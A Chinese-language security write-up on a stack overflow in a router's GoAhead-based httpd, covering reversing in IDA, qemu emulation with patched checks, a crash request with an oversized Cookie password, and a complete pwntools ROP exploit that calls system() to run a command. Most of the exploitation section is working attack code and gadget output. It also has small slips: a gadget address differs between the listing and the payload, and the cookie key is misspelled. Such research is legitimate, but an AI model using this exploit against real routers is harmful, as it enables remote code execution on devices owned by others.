漏洞分析

官网上即可获取下载含漏洞版本固件V15.03.1.16,使用binwalk解压,可在目录bin\目录下找到httpd程序,使用IDA打开httpd程序。

根据在IDA中看到的websUrlHandlerDefine等函数,可以判定程序使用的是GoAhead框架,另外在字符串中找到了2.1.8,可以进一步确定程序使用的框架是GoAhead 2.1.8。在github可以下载框架源码。下载源码的目的在于补全一些结构体的定义,方便逆向.

漏洞点位于R7WebsSecurityHandler中,为了更清楚的查看此处代码,我们根据GoAhead针对此处的一些结构体进行声明,并针对一些变量的名称进行一些修改。

小技巧 : IDA中导入C语言声明的结构体.在View-->Open Subviews-->Local Types中可以看到本地已有的结构体,在该窗口中右击insert.可以添加C语言声明的结构体

本程序的分析,添加了以下两个结构体:

struct ringq_t{
    unsigned char   *buf;               /* Holding buffer for data */
    unsigned char   *servp;             /* Pointer to start of data */
    unsigned char   *endp;              /* Pointer to end of data */
    unsigned char   *endbuf;            /* Pointer to end of buffer */
    int             buflen;             /* Length of ring queue */
    int             maxsize;            /* Maximum size */
    int             increment;          /* Growth increment */
}
struct websRec {
    ringq_t         header;             /* Header dynamic string */
    __time_t            since;              /* Parsed if-modified-since time */
    char*       cgiVars;            /* CGI standard variables */
    char*       cgiQuery;           /* CGI decoded query string */
    __time_t            timestamp;          /* Last transaction with browser */
    int             timeout;            /* Timeout handle */
    char            ipaddr[32];         /* Connecting ipaddress */
    char            type[64];           /* Mime type */
    char            *dir;               /* Directory containing the page */
    char            *path;              /* Path name without query */
    char            *url;               /* Full request url */
    char            *host;              /* Requested host */
    char            *lpath;             /* Cache local path name */
    char            *query;             /* Request query */
    char            *decodedQuery;      /* Decoded request query */
    char            *authType;          /* Authorization type (Basic/DAA) */
    char            *password;          /* Authorization password */
    char            *userName;          /* Authorization username */
    char            *cookie;            /* Cookie string */
    char            *userAgent;         /* User agent (browser) */
    char            *protocol;          /* Protocol (normally HTTP) */
    char            *protoVersion;      /* Protocol version */
    int             sid;                /* Socket id (handler) */
    int             listenSid;          /* Listen Socket id */
    int             port;               /* Request port number */
    int             state;              /* Current state */
    int             flags;              /* Current flags -- see above */
    int             code;               /* Request result code */
    int             clen;               /* Content length */
    int             wid;                /* Index into webs */
    char            *cgiStdin;          /* filename for CGI stdin */
    int             docfd;              /* Document file descriptor */
    int             numbytes;           /* Bytes to transfer to browser */
    int             written;            /* Bytes actually transferred */
    void            (*writeSocket)(struct websRec *wp);
}

简单修改完毕,查看漏洞点:

sscanf时,cookie长度没有进行限制,因此造成栈溢出.

为了抵达此处,还需满足前边的一些条件:

url值不能为空,不能为\,长度不能是1,且不能是以上字符

满足以上条件进入if后,url还不能是index.html.

因此可构造以下数据包触发崩溃:

GET /goform/execCommand HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1    
Cookie: password=“A”*501

仿真模拟

复制qemu-arm-static到解压后的固件目录下,尝试用qemu运行httpd程序:

$ sudo chroot . ./qemu-arm-static ./bin/httpd
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120


Yes:

      ****** WeLoveLinux******

 Welcome to ...

发现卡顿到此处,在IDA中定位这个字符串:

推测可能是check_network()这个函数没有通过卡死在这里了.但仔细看了以下,这个函数并没有返回什么关键信息,只是一个简单检查,因此可以直接patch掉.

另外,继续向下运行还会遇到一个检查函数ConnectCfm,也直接patch掉即可,patch完的效果如图:

patch完再进行模拟:

$ sudo chroot . ./qemu-arm-static ./httpd
[sudo] password for island:
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120


Yes:

      ****** WeLoveLinux******

 Welcome to ...
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
[httpd][debug]----------------------------webs.c,157
Unsupported setsockopt level=1 optname=13
httpd listen ip = 255.255.255.255 port = 80

根据提示信息推测应该是没有获取到真正的本机ip,通过httpd listen定位:

经过回溯,发现这个ip来自于g_lan_ip这个全局变量,而这个全局变量来自于以下部分:

大概的流程就是去寻找br0这个网络接口的IP,并在这个ip进行监听.但是我本机目前没有br0这个网络接口,所以获取的ip地址不对,为了解决这个问题其实可以有两个思路来做:

  1. 对源程序进行patch,将br0这个接口更改为本机的ens160这个网卡
  2. 或者在本机新建一个桥接网卡br0

两个思路应该都是可行的,为了方便我采用第二个方法,因为这一步骤我们在之前配置环境的时候做过了,具体可参考这个链接

在配置好br0网卡后再进行仿真:

$ sudo chroot . ./qemu-arm-static ./httpd
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120


Yes:

      ****** WeLoveLinux******

 Welcome to ...
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
[httpd][debug]----------------------------webs.c,157
Unsupported setsockopt level=1 optname=13
httpd listen ip = 192.168.5.179 port = 80
webs: Listening for HTTP requests at address 192.168.5.179

可以看到,此时模拟已经成功模拟起来了.

写一个简单的poc测试:

import requests
                                                            ip = "192.168.5.179"
url = "http://%s/goform/execCommand"%ip
cookie = {"Cookir":"password="+"A"*501}
ret = requests.get(url=url,cookies=cookie)
print ret.text

运行poc,可以看到崩溃:

httpd listen ip = 192.168.5.179 port = 80
webs: Listening for HTTP requests at address 192.168.5.179
Unsupported setsockopt level=1 optname=13
connect: No such file or directory
Connect to server failed.
[1]    16261 segmentation fault (core dumped)  sudo chroot . ./qemu-arm-static ./httpd

漏洞利用

使用以下命令模拟httpd程序并尝试进入调试模式:

$ sudo chroot . ./qemu-arm-static -g 1234 ./httpd

使用pwndbg尝试调试上面的poc:

发现崩溃点在0x6623954,尝试bt寻找调用路径,最后发现是在R7WebsSecurityHandler这个函数的此处:

如果流程跑到这里继续执行的话可能无法控制pc值进而无法控制函数流,因此考虑能否绕过不执行这里,很幸运,我们找到了这里:

如果这个if不满足,则不会跳转到sub_2c568.这里是检验url里是否包含一些特征字符,如果包含则不用进入下面if流程直接return.但是直接在url中包含这几个特征字符串是不行的,因为此时的url在我们栈溢出的时候已经被覆盖掉了,因此还是要在cookie中进行修改

poc简单更改来绕过这个限制:

from pwn import *
import requests                                                                                                         ip = "192.168.5.179"
url = "http://%s/goform/execCommand"%ip
cookie = {"Cookir":"password="+cyclic(500)+".gifAAAAAAAAAAAAA"}
ret = requests.get(url=url,cookies=cookie)
print ret.text

再次进行调试:

发现已经可以控制PC值了,并计算出偏移为444.

偏移已知,pc也可控,下面可以进行rop

httpd里找不到好的gadget,直接去libc里面找:

$ ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
....
0x00040cb8 : mov r0, sp ; blx r3
....

此时如果将r3赋值为system的地址,将要执行的命令放在栈上,就可以执行任意命令了,因此再找一条控制r3gadget:

$ ROPgadget --binary ./lib/libc.so.0 --only "pop"
....
0x00018298 : pop {r3, pc}
....

因此payload按如下输入即可:

cyclic(444) + p32(libc_base_addr + 0x00019298) + p32(system_addr) + p32(libc_base_addr + 0x00040cb8) + "touch ./abcd"

为了知道system地址,还需要去查一下libc基地址:

最后进行一下调试:

发现已经跑去执行system("touch ./abcd") 了,但是可能因为我使用的是qemu-user模拟,所以没有成功创建这个文件.

最终的exp:

from pwn import *
import requests                                                                                                                                                       
context.binary = "./httpd"
context.log_level = "debug"
libc = ELF("./lib/libc.so.0")
system_offset = libc.symbols["system"]
libc_base_addr = 0xf65e5000
system_addr= libc_base_addr + system_offset
ip = "192.168.5.179"
url = "http://%s/goform/execCommand"%ip
cookie = {"Cookir":"password="+cyclic(444) + ".gif" + flat(libc_base_addr + 0x00018298, system_addr, libc_base_addr + 0x00040cb8)+ "touch ./abcd" }
ret = requests.get(url=url,cookies=cookie)
print ret.text

点击收藏 | 0 关注 | 1
登录 后跟帖